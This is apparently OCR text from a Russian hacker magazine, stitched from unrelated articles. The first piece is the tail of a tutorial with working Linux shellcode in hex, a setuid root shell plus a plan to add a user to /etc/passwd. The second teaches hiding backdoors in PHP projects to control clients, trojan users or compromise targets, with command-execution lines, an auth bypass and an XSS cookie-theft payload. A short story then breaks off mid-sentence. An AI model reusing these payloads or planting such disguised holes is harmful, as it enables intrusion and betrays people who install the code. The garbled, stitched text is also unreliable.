книги хакеры / журнал хакер / 087_Optimized

man 2 exit

Этот код почти не отличается от предыдущего. Добавился только вызов в начале setuid.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x99\x50"

"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"

"\x54\x5b\x50\x53\x54\x59\xb0\x0b\xcd\x80";

30 байт — это неплохо. А теперь, думаю, пора приступить к написанию самого большого нашего шелл-кода — user_add.

LOGIN: GOD

В этом шелл-коде нам придется работать сразу с четырьмя системными вызовами: open, write, close и exit. Первый вызов будет открывать файл паролей с определенными параметрами (/etc/passwd), второй будет добавлять туда новую строчку, содержащую параметры нашего нового пользователя, третий вызов будет закрывать файл и, наконец, четвертый вызов будет корректно выходить из программы. Вперед!

Теперь все в подробностях. В начале мы уже привычными инструкциями обнуляем наши любимые регистры и кладем имя редактируемого файла в стек. На конце имени

owned by me!

присутствует точка, это сделано для того, чтобы в шелл-коде не было нуля. Далее по коду этот лишний символ меняется на ноль, чтобы системные вызовы увидели конец строки.

Потом мы запихиваем первый параметр вызова open в EBX, а второй параметр — в ECX (0x441 посмотри насчет спецификации параметра), а в AL у нас идет номер системного вызова — 5. После чего мы вызываем int 80h.

Далее по курсу у нас второй вызов, с параметрами которого ты уже и сам можешь разобраться. Но сначала мы помещаем в EBX содержимое регистра EAX, так как при вызове open параметр сохраняется в EAX, а он нам нужен в EBX для следующего вызова. Мы затираем ненужный символ, но уже знаком переноса строки. Кладем стандартные параметры, которые я уже объяснял тебе в примере про write, и вызываем прерывание. Следующий вызов

— close, который требует всего одного парамет-

ра — дескриптора файла (EBX). И, наконец, exit с кодом выхода 0.

Надеюсь, ты уже набрал и сдампил шеллкод, здесь я его приводить не стану. Размер, конечно, не из маленьких, так как в шеллкоде содержатся довольно здоровые строки, но в целом он нормально оптимизирован.

ИСПЫТАНИЯ

Чтобы проверить, как работают наши замечательные шелл-коды, достаточно написать на Си коротенькую программу, с помощью которой и проводить многочисленные испытания. Практически прообраз эксплойта:

char sc[]=

"наш шелл-код" "находится здесь";

int main()

{

}

Компилируй, запускай, и если все в порядке, то программа передаст управление на наш шелл-код в памяти.

EXIT(0)

Шелл-кодинг — это очень интересное и увлекательное занятие, ты можешь полюбить его и возненавидеть в один момент. Если у тебя что-то не получается — не расстраивайся, а пиши мне на мыло, и я постараюсь тебе помочь. На этом все. Желаю тебе удачи в твоих экстремальных кодерских экспериментах.

BINARY YOUR’S z

TEXT ETO’O

На диске ты найдешь несколько зловредных примеров, упомянутую библиотеку mcrypt и ее описание.

ЭТО ЕЩЕ ЗАЧЕМ?

Действительно, для чего это может понадобиться — сознательно делать в собственном коде ошибку? Наивный! Причин — уйма.

*Контроль за заказчиком. Представь, что ты работаешь фриланс-кодером, и к тебе обратился неизвестный человек, заказав сложную систему. Ты ее написал, но опасаешься, что он тебя кинет прямо или косвенно. В этом случае бесценная вещь — иметь механизм воздействия на заказчика после сдачи работы или каким-то способом контролировать и оценивать жизнедеятельность твоего проекта. Если ты сделаешь грамотный бэкдор, то заказчик будет у тебя на крючке вечно: чуть что — и ты устроишь ему сладкую жизнь!

*Троянский проект. Прекрасная идея — написать какую-то крутую систему и распространять ее бесплатно. Если проект действительно хорош, то люди поустанавливают твои скрипты, а ты при помощи собственного бага сможешь их всех крепко поиметь.

* Взлом конкретного проекта. Представь, что тебе надо получить доступ к какому-то проекту. В этом случае можно написать какой-то удобный небольшой скрипт, с маленьким и изящным багом внутри, заметить который будет непросто. После этого ты можешь при помощи социальной инженерии заставить администратора проекта поставить этот скрипт себе на сервер — ну, скажем, заинтересовав его интересными возможностями твоего скрипта, просто уговорив протестить новое приложение, или предложив «непробиваемую версию phpBB, которую тестировали лучшие хакеры России и выжгли там все баги».

Причин, по которым web-программисту всегда полезно уметь вшить пару багов в свой проект, много. Сейчас настало время и тебе научиться это делать красиво и изящно.

КРАСИВО И БЕЗОПАСНО

Казалось бы, чего тут проще — сделать баг, оставить жука? Как ты, наверное, подумал, все решается одной из этих сторок:

system($_GET[“xa_cmd”]);

# или:

system(“echo $_GET[‘xa_msg’] | mail xakep@xakep. ru”);

# или: include($_GET[filename]);

Однако подумай, что будет, если просто добавить эту строчку в твой скрипт из 20 строк. Любой дошкольник уже секунд через 10 после того, как откроет сорец, скажет тебе, что ставить этот скрипт себе он не будет, а лучше пойдет поищет в гугле проекты, где установлен твой скрипт. Так что примеры выше — это из разряда «как делать не надо».

И еще один момент. Очень важно, когда твой баг найдут, чтобы он не смотрелся как специально сделанный бэкдор, а был похож на ошибку. Ну или, по крайней мере, был запрятан так, чтобы найти его было проблематично.

Впрочем, довольно уже вводной части, перейдем к непосредственным решениям. Сейчас я научу тебя, во-первых, вставлять

хитроумные бэкдоры в твои скрипты, а вовторых, допускать наивные ошибки. Как ты скоро поймешь, чтобы делать ошибки, надо чуть-чуть соображать :).

ОБЩИЕ ИДЕИ

Первым делом надо продумать, где и каким образом мы будем размещать жуков. Их форма и содержание — отдельный разговор. Сейчас давай решим, в каком месте программы мы будем их прятать. Любая php-система обычно состоит из множества файлов. Всегда есть несколько файлов с описанием классов или функций — такие сценарии просто инклудятся скриптами, в которых используются описанные классы

ипроцедуры. Наших жуков лучше всего прятать внутри именно файлов с описаниями функций, поскольку они, как правило, довольно здоровые, и отыскать вручную одну ядовитую строку — сложная штука.

Будет круто, если нам удастся обойтись без «хакерских» словечек вроде «include»

и«system» :). Я думаю, лучше всего вписать в код программы не тупого жука вроде system($_GET[cmd]), а какую-то сложную для понимания логическую ошибку, которую автоматическими средствами отыскать никак нельзя. Об этом мы тоже поговорим, но сперва рассмотрим идеи несколько иного толка.

ОШИБКИ СРАВНЕНИЯ

Во многих скриптах есть места, где производится аутентификация пользователя. В общем случае делается примерно так. Выбирается из таблицы запись, соответствующая введенному пользователем логину, после чего смотрится, вернулась ли запись, и сравниваются введенный и оригинальный пароли (или хэши паролей). Ты, наверное, сейчас подумал, что я тебе сейчас расскажу об sql-injection. Но это совершенно не так. Первый наш трюк заключается в использовании оператора сравнения ==. Скажи, ты уверен, что знаешь, как он работает? Давай протестируем тебя. Подумай как следует и скажи, что вернет следующий код?

if(0==”aa1”) {return 1;} else {return 0;}

Большинство людей рассчитывают, что он вернет 0, так как ноль не равен строке “aa1”. А код вернет единицу. С точки зрения оператора ==, число 0 «равно» строке “aa1”. Дело все в том, что PHP, как язык без ярко выраженной типизации данных, предоставляет программистам большую свободу, но и награждает взамен некоторым геморроем. Так, при сравнении оператором == целого

истроки, строка будет приведена к типу int

ивсегда будет «равна» нулю. Эту фишку можно заюзать, чтобы внедрить в твою систему потаенную дверцу. Скажем, вот так:

недосмотр кодера или специально сделанный баг?

Функции isLogin, isPasswd размещены в отдельном файле, auth()

— тоже в отдельном. Все вызывается во внешнем файле. Скажи, как в этом случае можно обойти аутентификацию? Элементарно! Если в скрипте включен параметр register_ globals=On, то достаточно только лишь передать сценарию параметр l=0. В этом случае в переменную $l будет помещено твое левое значение, а все проверки пойдут лесом.

CSS И СЕССИИ

Вот уже где настоящее раздолье для жуков и багов! Сейчас стало модно привязывать сессии к IP-адресам, с которых они начались. Времена, когда, украв ID-сессии, можно было получить доступ к спрятанным там переменным с другого IP-адреса, позади, равно как и хранить в кукисах плейнтекстом пару л+п :).

Первым делом нужно позволить при определенных условиях внедрить пользователю CSS-код. Само собой, при всех прочих условиях вся ядовитая дрянь должна вырезаться системой. Для этого ты привык пользоваться ereg-функциями, которые вырезают из пользовательских строчек ненужные символы. Во многих проектах для пользователей делают специальные bb-тэги вроде [img] и [b], которые позволяют элементарным образом форматировать сообщения. В этом случае можно допустить небольшой ляп и разрешить пользователю внедрять в качестве одного из параметров bb-тэга такую конструкцию:

style=background-image:url(javascript:alert(“XSS”))

Это позволит реализовать CSS-атаку. Но что с ее помощью можно будет украсть? Как обычно, содержимое кукисов. Вот здесь вся соль. В кукисы надо спрятать кое-что очень важное

— скажем, туда можно складывать пары л+п, зашифрованные RSA. Шифрованную последовательность размещаем в кукисах,

иникто, кроме нас, не сможет получить доступа к этой информации. Даже если «левый» хакер украдет у пользователя кукис

ипоймет, что в странной переменной PHPSID лежит не что иное, как зашифрованная пара л+п, он не сможет получить доступ к этой информации, даже получив доступ к открытому ключу, с помощью которого мы закодировали данные.

BINARY YOUR’S z

описание функций библиотеки mcrypt

Автор иллюстраций Анна Журко

TEXT MINDW0RK / MINDW0RK@GAMELAND.RU/

Space dot com

Джефф знал, что в компьютерном мире нет ниче- го невозможного. Не бывает систем защиты, которые невозможно взломать, не бывает программ, которые невозможно написать. Поэтому он растерянно смотрел на экран своего монитора, пытаясь найти этому объяснение. Картинка, которую он видел, представляла собой простенький поисковик — посередине находилась строка ввода запрашиваемой информации, чуть ниже

— кнопка подтверждения с говорящим названием: «Спроси и я отвечу». А вверху — изображение маленького мохнатого чертенка, лукаво смотрящего на посетителя. Конечно, Джефф знал, что поисковики не ограничиваются гуглем и yahoo, есть полно малоизвестных поисковых машин. И не было бы ничего примечательного в том, на котором он оказался, если бы не одно «но» — адреса этого сайта существовать не могло. Мало того что доменное имя не может состоять из одного символа, но и этим символом является пробел, что абсолютно невероятно. Браузеры попросту не воспринимают пробелы, удаляя их из адресной строки при попытке загрузить сайт. Но откуда тогда взялся этот поисковик, появившийся на ошибочный запрос <пробел>.com?

Возможно, кэш-память хулиганит… Джефф вышел из «оперы» и запустил старый-добрый Internet Explorer. Но когда он ввел странный адрес, перед его глазами снова оказался тот самый чертенок, а красочная иконка приглашала задать поисковику вопрос.

Что ж, стоило, по крайней мере, протестировать чудо-поисковик. В этот момент Джеффа не интересовала никакая информация, поэтому он просто ввел свои имя и фамилию. Картинка на экране сменилась надписью «Запрос обрабатывается. Ждите». Ждать пришлось около минуты, в итоге Джефф получил совсем не то, что ожидал. Там не было вариантов выбора сайта, а была ссылка только на одну страницу, где находилось его подробное досье.

Поисковик знал все. Когда он родился, какой университет окончил, о компании, в которой Джефф работал, здесь были информация о кредитных картах, его банковском счете, история болезней и многое другое. Были и такие сведения, которые, как считал Джефф, никто не мог знать. Поисковик рассказал о первой мелкой финансовой афере, которую Джефф провернул в конторе отца, о его далеко не самых законных операциях на eBay и использовании компьютеров на работе в своих целях. У Джеффа выступил на спине холодный пот. Со всем этим его легко могли упрятать за решетку. А ведь он полагал, что умеет мастерски заметать следы, и ни один коп не докапается. Только откуда это досье? Кто мог нарыть про него все это? Ссылка, по которой находилась вся эта информация, ничего ему не говорила: <space>.com/~45399631.

Джефф скопировал фрагмент текста, зашел на google и ввел в поисковую строку. Крупнейший в Интернете поисковик пожаловался, что документов, соответствующих запросу нет. Значит, или space dot.com имеет доступ к базам данных спецслужб, или над ним, Джеффом, ктото решил подшутить.

— Дорогой! Собирайся, нам пора выходить! — раздался голос Энни из спальни.

* * *

Они встречались несколько месяцев, и все это время Энни не переставала его удивлять. Она могла быть доброй, хрупкой женщиной, а иногда превращалась в настоящую стерву и истеричку. Могла быть настоящей красавицей или обычной девушкой, которую он бы даже не заметил в толпе. Даже речь ее и мысли менялись время от времени. Энни была для него полной загадкой.

Переодевшись, она вышла из спальни, и Джефф увидел перед собой рыжеволосую красавицу в дорогом бирюзовом платье, которое он подарил ей месяц назад.

—Выглядишь потрясающе.

—Спасибо, дорогой.

Она потянулась и поцеловала его в губы.

— Нам нужно поторопиться, Конрад не любит, когда гости опаздывают. Энни накинула на себя легкую курточку, закрыла дверь дома и, взяв его под руку, направилась к машине.

Конраду Макфраю было почти 70 лет. Он являлся отчимом Энни и на- чальником Джеффа. Суровый седоволосый мужчина, сделавший за свою жизнь отличную карьеру. Он был требовательным как к себе, так и к подчиненным, и, несмотря на их роман с Энни, поблажек Джеффу не делал. Раз в месяц они навещали старика, но каждый раз после этих встреч у Джеффа оставался неприятный осадок на душе. Его никогда не мучила совесть, что он обманывает других людей, но с Конрадом все было по-другому. Джефф не мог не использовать в своих целях такие доступные корпоративные машины, да и обвести всех вокруг пальца было так просто. Но старик доверял и относился к нему хорошо, так что в его обществе Джефф чувствовал себя неловко.

Дом Конрада был огромным и находился в самом центре Грейс-Авеню

— богатейшего района города. Джефф слышал, что босс купил его за 3 миллиона баксов у какой-то спившейся актрисы. Сейчас, когда Конрад с женой привели его в порядок, особняк мог потянуть на все пять.

Дверь им открыла Мелисса Макфрай:

— Джефф, Энни, мы уже вас заждались, — женщина их радушно расцеловала и пригласила в зал, откуда доносился запах жареной индейки. Конрад тоже вышел их поприветствовать, но Джефф сразу понял

— что-то не так. Слишком сухо старик с ним себя повел.

Мелисса усадила гостей за стол, призвала всех помолиться перед трапезой, затем все принялись за еду. Словоохотливая жена босса рассказывала о том, что произошло в их семье за последние пару недель

— каждая мелочь у нее становилась грандиозным событием. Энни с удовольствием поддерживала разговор, в то время как мужчины в основном молчали. Конрад насупленно ел, изредка бросая тяжелый взгляд на Джеффа. Было очевидно, что после обеда между ними состоится серьезный разговор.

** *

—Какой-то Конрад странный сегодня. Никогда не видела его таким угрюмым, — задумчиво сказала Энни в машине, когда они уже возвращались домой.

—Ему нужно больше отдыхать. В его возрасте нельзя столько работать. А в это время в его голове звенел разгневанный голос старика, прозву- чавший на террасе, когда они остались одни:

—Я все знаю, черт тебя подери. Мерзавец, думал тебе это сойдет с рук? Если бы не Энни, уже сидел бы за решеткой. В понедельник же жду от тебя заявление об уходе.

Джефф не боялся остаться без работы — он всегда гордился, что может делать деньги из воздуха. А в полицию Конрад заявлять не будет, так как не хотел делать больно Энни. Гораздо больше Джеффа беспокоило досье о себе, которое он странным образом обнаружил на своем компьютере. Кто еще о нем знает? Откуда оно взялось?

—Дорогой, ты меня слышишь? — голос Энни вырвал его из размышлений.

—Извини, солнце. Задумался.

Добравшись до дома, Джефф сразу сел за свой компьютер и ввел в

строке браузера <пробел>.com. Сайт выглядел по-прежнему, за исключения чертика, который теперь зло ухмылялся.

«Спроси и я отвечу», — предлагал сайт. Что ж, на этот раз у него были вопросы.

Джефф набрал в строке поиска: «Откуда Конрад обо всем узнал?». Поисковик попросил подождать и через минуту выдал ответ.

«Во время вынужденной перезагрузки корпоративных серверов, зна- чения программ, координирующих работу бот-сети, были обнулены, и нахлынувший трафик сразу же бросился в глаза системному администратору Самюэлю Джеферсону, который быстро вычислил, с какой машины поступают команды. Джеферсон провел собственное расследование и о результатах доложил руководителю компании Конраду МакФраю».

—Черт бы тебя побрал, Сэм! — хлопнул кулаком по столу Джефф. Но гнев быстро прошел, и лицо Джеффа вытянулось от изумления. «Откуда поступает вся твоя информация?» — спросил он у поисковика. Чтобы ответить на этот простой вопрос, поисковику потребовалась стандартная минута. Похоже, все запросы требовали временной обработки. В конце концов появилась страничка с ссылкой, по которой Джефф нашел ответ:

«Я поисковая машина, моя работа — все знать. Спроси и я отвечу». «Ты можешь дать ответ на любой вопрос?» — не унимался Джефф. «Если вопрос подразумевает ответ».

—Дорогой, пошли в постель. Погреешь меня, — Энни подошла сзади и обхватила его плечи руками.

—Ложись, малышка. Я сейчас подойду.

—Ой, какой симпатичный чертенок! — восторженно заметила Энни. Чертенок, украшающий индексную страницу поисковика, действительно преобразился и теперь был довольно милым.

—Ничего особенного, — Джефф поспешил нажать ALT-TAB.

Когда девушка ушла, он снова вернулся к поисковику. Джефф не сомневался, что все это — проделки одного из его знакомых. Может быть, кто-то из старых приятелей хакеров? На ум сразу же пришел Godly — молодой парнишка, который любил взламывать компьютеры securityфирм и оставлять админам издевательские сообщения. На него похоже. Правда, Godly на несколько лет упрятали за решетку.

Как бы там ни было, Джефф решил проучить шутника.

«Кто победит в завтрашнем матче по хоккею — Россия или Канада?», — ввел он в строку поиска.

«Россия одержит победу со счетом 2:0».

В ту ночь Джефф так и не смог заснуть. В памяти всплыли эпизоды из хакерского прошлого, когда он с остальными ребятами из группы Pain взламывал разные сайты и чувствовал себя богом в Сети. В то время он мечтал создать собственную security-компанию, заниматься чем-то полезным. Но все обернулось иначе. Друзья-хакеры с возрастом оставили свои подростковые увлечения и занялись совсем другими вещами,

не имеющими к компьютерам никакого отношения. Джефф залез

âдолги и, чтобы их вернуть, стал промышлять мошенничеством в Интернете, организуя аферы и разводя юзеров на eBay. А потом встретил Энни, которая помогла ему устроиться в фирму отчима. Утром Джефф позвонил своему давнему приятелю Колину Морфейену, известному несколько лет назад под ником Gregory, и договорился с ним встретиться в одном из местных пивных пабов. Они не виделись уже много месяцев и вместе поностальгировали о старых-добрых временах.

—Кстати, Колин, не в курсе, где сейчас Godly?

—Разве не знаешь? Сидит за решеткой уже 4-é ãîä.

—Да, я слышал. Думал его выпустили уже.

—Да нет, дружище. Сидеть ему еще, как минимум, столько же. Когда вечером Джефф вернулся домой, он первым делом узнал результаты хоккейного матча. Россия победила со счетом 2:0.

* * *

—Здравствуйте, уважаемые телезрители, в эфире программа «Счастливый случай», и с вами я, Сюзан Фрива. Многие из вас покупают лотерейные билеты. Кому-то везет, кому-то — нет. Однажды мне удалось выиграть 10 долларов, сколько же я потратила на билеты, луч- ше умолчу. Не хочет удача преподносить мне подарки. Чего не скажешь о нашем сегодняшнем госте — Джеффри Столпери, который несколько недель назад сорвал джекпот в 250 миллионов долларов в суперпопулярной лотерее «Гранд Прайз». Встречайте!

Под бурные аплодисменты Джефф занял свое место возле телеведущей. Обстановка кругом была непривычной — на него смотрели 3 телекамеры и сотни зрителей, внимание которых было приковано к нему. А ведь еще недавно никто не знал, кто такой Джеффри Столпери.

—Итак, Джеффри, расскажите нам, как вам удалось угадать 9 цифр из 9. Вероятность этого, по подсчетам экспертов, составляет 1 из 360 миллионов. Что это — чутье или невероятная удача?

Джефф улыбнулся.

За последние 2 месяца его жизнь резко изменилась. Из бывшего работника компьютерной компании и мелкого афериста он превратился

âбогатого и известного гражданина. У него появились новые друзья, вышли на связь старые приятели. Джефф понимал, что их всех привлекают его деньги, но это было неважно. Он купил дом, еще роскошнее, чем у Конрада, 3 дорогие машины. У него была уйма денег, и он даже не представлял, куда все потратить. И за всем этим стоял поисковик, который давал ответы на любые вопросы. После того как он с